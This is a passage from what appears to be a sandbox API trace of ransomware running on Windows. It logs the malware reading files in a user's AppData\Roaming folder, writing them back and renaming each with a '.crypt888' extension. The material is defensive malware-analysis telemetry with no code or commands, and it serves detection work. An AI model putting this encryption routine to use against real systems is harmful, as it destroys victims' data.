lpOldMode=0x39ec70) returned 1 [0078.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AoWyTv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aowytv.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.627] GetFileType (hFile=0x174) returned 0x1 [0078.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.627] GetFileType (hFile=0x174) returned 0x1 [0078.627] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x13161 [0078.627] ReadFile (in: hFile=0x174, lpBuffer=0x27fed24, nNumberOfBytesToRead=0x13161, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27fed24*, lpNumberOfBytesRead=0x39ed24*=0x13161, lpOverlapped=0x0) returned 1 [0078.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AoWyTv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aowytv.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.648] GetFileType (hFile=0x174) returned 0x1 [0078.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.648] GetFileType (hFile=0x174) returned 0x1 [0078.648] WriteFile (in: hFile=0x174, lpBuffer=0x2884f50*, nNumberOfBytesToWrite=0x13170, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2884f50*, lpNumberOfBytesWritten=0x39ed14*=0x13170, lpOverlapped=0x0) returned 1 [0078.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.651] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AoWyTv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aowytv.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AoWyTv.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aowytv.flv.crypt888")) returned 1 [0078.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CZwqcTdCSw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\czwqctdcsw.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.654] GetFileType (hFile=0x174) returned 0x1 [0078.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.654] GetFileType (hFile=0x174) returned 0x1 [0078.654] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x9bc0 [0078.654] ReadFile (in: hFile=0x174, lpBuffer=0x28984dc, nNumberOfBytesToRead=0x9bc0, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28984dc*, lpNumberOfBytesRead=0x39ed24*=0x9bc0, lpOverlapped=0x0) returned 1 [0078.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CZwqcTdCSw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\czwqctdcsw.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.674] GetFileType (hFile=0x174) returned 0x1 [0078.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.674] GetFileType (hFile=0x174) returned 0x1 [0078.674] WriteFile (in: hFile=0x174, lpBuffer=0x271fb90*, nNumberOfBytesToWrite=0x9bd0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x271fb90*, lpNumberOfBytesWritten=0x39ed14*=0x9bd0, lpOverlapped=0x0) returned 1 [0078.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.676] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CZwqcTdCSw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\czwqctdcsw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CZwqcTdCSw.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\czwqctdcsw.png.crypt888")) returned 1 [0078.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eeFJRAhLL9N.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eefjrahll9n.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.679] GetFileType (hFile=0x174) returned 0x1 [0078.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.679] GetFileType (hFile=0x174) returned 0x1 [0078.679] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x11097 [0078.679] ReadFile (in: hFile=0x174, lpBuffer=0x2729b5c, nNumberOfBytesToRead=0x11097, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2729b5c*, lpNumberOfBytesRead=0x39ed24*=0x11097, lpOverlapped=0x0) returned 1 [0078.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eeFJRAhLL9N.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eefjrahll9n.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.704] GetFileType (hFile=0x174) returned 0x1 [0078.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.704] GetFileType (hFile=0x174) returned 0x1 [0078.704] WriteFile (in: hFile=0x174, lpBuffer=0x27a9c74*, nNumberOfBytesToWrite=0x110a0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27a9c74*, lpNumberOfBytesWritten=0x39ed14*=0x110a0, lpOverlapped=0x0) returned 1 [0078.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.707] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eeFJRAhLL9N.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eefjrahll9n.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eeFJRAhLL9N.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eefjrahll9n.png.crypt888")) returned 1 [0078.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hRt HqnRjFJY3Ky.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrt hqnrjfjy3ky.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.713] GetFileType (hFile=0x174) returned 0x1 [0078.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.713] GetFileType (hFile=0x174) returned 0x1 [0078.713] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xb347 [0078.713] ReadFile (in: hFile=0x174, lpBuffer=0x27bb170, nNumberOfBytesToRead=0xb347, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27bb170*, lpNumberOfBytesRead=0x39ed24*=0xb347, lpOverlapped=0x0) returned 1 [0078.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hRt HqnRjFJY3Ky.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrt hqnrjfjy3ky.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.736] GetFileType (hFile=0x174) returned 0x1 [0078.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.736] GetFileType (hFile=0x174) returned 0x1 [0078.736] WriteFile (in: hFile=0x174, lpBuffer=0x282993c*, nNumberOfBytesToWrite=0xb350, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x282993c*, lpNumberOfBytesWritten=0x39ed14*=0xb350, lpOverlapped=0x0) returned 1 [0078.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.738] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hRt HqnRjFJY3Ky.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrt hqnrjfjy3ky.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hRt HqnRjFJY3Ky.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrt hqnrjfjy3ky.avi.crypt888")) returned 1 [0078.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JpwjrTaPUwRAikqx.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jpwjrtapuwraikqx.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.740] GetFileType (hFile=0x174) returned 0x1 [0078.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.740] GetFileType (hFile=0x174) returned 0x1 [0078.740] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x18938 [0078.740] ReadFile (in: hFile=0x174, lpBuffer=0x3839540, nNumberOfBytesToRead=0x18938, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3839540*, lpNumberOfBytesRead=0x39ed24*=0x18938, lpOverlapped=0x0) returned 1 [0078.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JpwjrTaPUwRAikqx.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jpwjrtapuwraikqx.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.765] GetFileType (hFile=0x174) returned 0x1 [0078.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.765] GetFileType (hFile=0x174) returned 0x1 [0078.765] WriteFile (in: hFile=0x174, lpBuffer=0x38b43b8*, nNumberOfBytesToWrite=0x18940, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x38b43b8*, lpNumberOfBytesWritten=0x39ed14*=0x18940, lpOverlapped=0x0) returned 1 [0078.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.768] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JpwjrTaPUwRAikqx.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jpwjrtapuwraikqx.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JpwjrTaPUwRAikqx.csv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jpwjrtapuwraikqx.csv.crypt888")) returned 1 [0078.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2YQW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\m2yqw.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.772] GetFileType (hFile=0x174) returned 0x1 [0078.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.772] GetFileType (hFile=0x174) returned 0x1 [0078.772] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xdd5d [0078.772] ReadFile (in: hFile=0x174, lpBuffer=0x2882320, nNumberOfBytesToRead=0xdd5d, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2882320*, lpNumberOfBytesRead=0x39ed24*=0xdd5d, lpOverlapped=0x0) returned 1 [0078.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2YQW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\m2yqw.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.798] GetFileType (hFile=0x174) returned 0x1 [0078.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.798] GetFileType (hFile=0x174) returned 0x1 [0078.798] WriteFile (in: hFile=0x174, lpBuffer=0x26fccc0*, nNumberOfBytesToWrite=0xdd60, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x26fccc0*, lpNumberOfBytesWritten=0x39ed14*=0xdd60, lpOverlapped=0x0) returned 1 [0078.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.801] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2YQW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\m2yqw.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2YQW.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\m2yqw.flv.crypt888")) returned 1 [0078.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\t2TP8BW9Qf-S.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\t2tp8bw9qf-s.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.803] GetFileType (hFile=0x174) returned 0x1 [0078.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.803] GetFileType (hFile=0x174) returned 0x1 [0078.803] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x1779a [0078.804] ReadFile (in: hFile=0x174, lpBuffer=0x38e87d8, nNumberOfBytesToRead=0x1779a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x38e87d8*, lpNumberOfBytesRead=0x39ed24*=0x1779a, lpOverlapped=0x0) returned 1 [0078.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\t2TP8BW9Qf-S.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\t2tp8bw9qf-s.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.837] GetFileType (hFile=0x174) returned 0x1 [0078.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.837] GetFileType (hFile=0x174) returned 0x1 [0078.837] WriteFile (in: hFile=0x174, lpBuffer=0x39b5020*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x39b5020*, lpNumberOfBytesWritten=0x39ed14*=0x177a0, lpOverlapped=0x0) returned 1 [0078.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.840] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\t2TP8BW9Qf-S.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\t2tp8bw9qf-s.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\t2TP8BW9Qf-S.csv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\t2tp8bw9qf-s.csv.crypt888")) returned 1 [0078.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tLXlKNz9cX3mOuXgBJdx.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tlxlknz9cx3mouxgbjdx.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.842] GetFileType (hFile=0x174) returned 0x1 [0078.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.842] GetFileType (hFile=0x174) returned 0x1 [0078.842] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x7fc0 [0078.842] ReadFile (in: hFile=0x174, lpBuffer=0x27581cc, nNumberOfBytesToRead=0x7fc0, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27581cc*, lpNumberOfBytesRead=0x39ed24*=0x7fc0, lpOverlapped=0x0) returned 1 [0078.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tLXlKNz9cX3mOuXgBJdx.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tlxlknz9cx3mouxgbjdx.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.864] GetFileType (hFile=0x174) returned 0x1 [0078.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.864] GetFileType (hFile=0x174) returned 0x1 [0078.865] WriteFile (in: hFile=0x174, lpBuffer=0x27ccea0*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27ccea0*, lpNumberOfBytesWritten=0x39ed14*=0x7fd0, lpOverlapped=0x0) returned 1 [0078.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.866] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tLXlKNz9cX3mOuXgBJdx.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tlxlknz9cx3mouxgbjdx.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tLXlKNz9cX3mOuXgBJdx.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tlxlknz9cx3mouxgbjdx.flv.crypt888")) returned 1 [0078.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uloaw-ycfj.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.873] GetFileType (hFile=0x174) returned 0x1 [0078.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.873] GetFileType (hFile=0x174) returned 0x1 [0078.873] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x17b7f [0078.895] ReadFile (in: hFile=0x174, lpBuffer=0x36698d0, nNumberOfBytesToRead=0x17b7f, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesRead=0x39ed24*=0x17b7f, lpOverlapped=0x0) returned 1 [0078.896] CloseHandle (hObject=0x174) returned 1 [0078.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi", lpFilePart=0x0) returned 0x3c [0078.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uloaw-ycfj.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.958] GetFileType (hFile=0x174) returned 0x1 [0078.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.958] GetFileType (hFile=0x174) returned 0x1 [0078.958] WriteFile (in: hFile=0x174, lpBuffer=0x36e0290*, nNumberOfBytesToWrite=0x17b80, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36e0290*, lpNumberOfBytesWritten=0x39ed14*=0x17b80, lpOverlapped=0x0) returned 1 [0078.961] CloseHandle (hObject=0x174) returned 1 [0078.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi", lpFilePart=0x0) returned 0x3c [0078.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi.crypt888", lpFilePart=0x0) returned 0x45 [0078.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uloaw-ycfj.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa815060, ftCreationTime.dwHighDateTime=0x1d4603d, ftLastAccessTime.dwLowDateTime=0xf1603610, ftLastAccessTime.dwHighDateTime=0x1d458bb, ftLastWriteTime.dwLowDateTime=0xc042f9a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x17b80)) returned 1 [0078.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.963] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uloaw-ycfj.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UloAw-ycFJ.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uloaw-ycfj.avi.crypt888")) returned 1 [0078.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt", lpFilePart=0x0) returned 0x43 [0078.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uracto5e3adlucmqg.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.964] GetFileType (hFile=0x174) returned 0x1 [0078.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.964] GetFileType (hFile=0x174) returned 0x1 [0078.964] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xaaa8 [0078.964] 